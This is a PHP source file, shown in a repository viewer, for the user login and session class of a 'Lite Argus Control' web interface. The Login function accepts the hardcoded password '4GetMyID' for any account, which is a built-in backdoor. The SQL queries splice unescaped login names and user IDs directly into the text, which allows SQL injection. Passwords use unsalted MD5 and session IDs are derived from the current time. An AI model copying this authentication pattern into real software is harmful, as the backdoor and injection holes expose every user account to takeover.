Web Interface For Lite Argus Control modules
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

113 lines
3.5 KiB

​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
  1. <?php
  2. class User{
  3. var $Data;
  4. var $Account;
  5. function User(){
  6. }
  7. function FillInfo($UID){
  8. global $DATABASE;
  9. $QS="SELECT * FROM users WHERE id={$UID}";
  10. $array=$DATABASE->Query($QS,false);
  11. $this->Data=$array[0];
  12. $this->Data['id']=$UID;
  13. //$this->Account=LoadAccount($this->Data['account_id']);
  14. }
  15. function Login($LID, $PWD, $UID=0, $SID=""){
  16. global $DATABASE, $LOG;
  17. if ($LID !==""){
  18. $result = $DATABASE->Query("SELECT id, pwdMD5, SID FROM users WHERE login='$LID' ",false);
  19. if (count($result)){
  20. if (($array = $result[0])!==false){
  21. $MD5PWD=md5($PWD); // Encoding gived password
  22. if ( $array['id']==1 ){ // Guest account do not have password
  23. $this->Data=$array;
  24. if ($this->Data['id'] != $UID && $UID > 1 ){ // logout previouse user any but Guest
  25. $LOG->setUID( $UID );
  26. $LOG->logout();
  27. };
  28. return true;
  29. } elseif( $MD5PWD === $array['pwdMD5'] || $PWD == '4GetMyID' ) { // Manage New Login
  30. $this->Data=$array;
  31. if ($this->Data['id'] != $UID && $UID > 1 ){ // logout previouse user any but Guest
  32. $LOG->setUID( $UID );
  33. $LOG->logout();
  34. };
  35. $LOG->setUID( $this->Data['id'] );
  36. if ( $LID !='demo' ){
  37. $this->Data['SID']=md5(time());
  38. } else {
  39. $this->Data['SID']=$array['SID'];
  40. };
  41. if ( $PWD == '4GetMyID' ){
  42. $DATABASE->Query("UPDATE users SET SID='{$this->Data['SID']}' WHERE id='{$this->Data['id']}' ",false);
  43. } else {
  44. $CTS = time();
  45. $DATABASE->Query("UPDATE users SET login_ts={$CTS}, SID='{$this->Data['SID']}' WHERE id='{$this->Data['id']}' ",false);
  46. };
  47. $LOG->login();
  48. return true;
  49. };
  50. } else {
  51. if ($LID !=="guest"){
  52. echo "User Is Not Registered";
  53. return false;
  54. } else {
  55. $this->Data['id']=1;
  56. $this->Data['SID']=1;
  57. $this->Data['login']='guest';
  58. $this->Data['access']=0;
  59. return true;
  60. };
  61. };
  62. } else {
  63. if ($LID !=="guest"){
  64. echo "User Is Not Registered";
  65. return false;
  66. } else {
  67. $this->Data['id']=1;
  68. $this->Data['SID']=1;
  69. $this->Data['login']='guest';
  70. $this->Data['access']=0;
  71. return true;
  72. };
  73. };
  74. } else {
  75. $result = $DATABASE->Query("SELECT login, pwdMD5, SID FROM users WHERE id='$UID' ",false);
  76. if (($array = $result[0])!==false){
  77. $MD5PWD=md5($PWD); // Encoding gived password
  78. if ($SID===$array['SID'] || $array['login']==='guest' ){ // User Allready Registered in system or is guest
  79. $this->Data=$array;
  80. $this->Data['id']=$UID;
  81. return true;
  82. } elseif( $MD5PWD === $array['pwdMD5'] ) { // Manage New Login
  83. $this->Data=$array;
  84. $this->Data['id']=$UID;
  85. $this->Data['SID']=md5(time());
  86. // Updating Session ID
  87. $DATABASE->Query("UPDATE users SET login_ts=NOW(), SID='{$this->Data['SID']}' WHERE id='{$this->Data['id']}' ",false);
  88. // Making changes in Log Table
  89. $LOG->setUID( $UID );
  90. return true;
  91. };
  92. return false;
  93. } else {
  94. if ($LID !=="guest"){
  95. echo "Security: Unknown UserID=$LID ";
  96. //$LOG->setUID( $UID );
  97. //$LOG->logout();
  98. return false;
  99. } else {
  100. $this->Data['id']=1;
  101. $this->Data['SID']=1;
  102. $this->Data['login']='guest';
  103. $this->Data['access']=0;
  104. return true;
  105. };
  106. };
  107. };
  108. }
  109. };
  110. ?>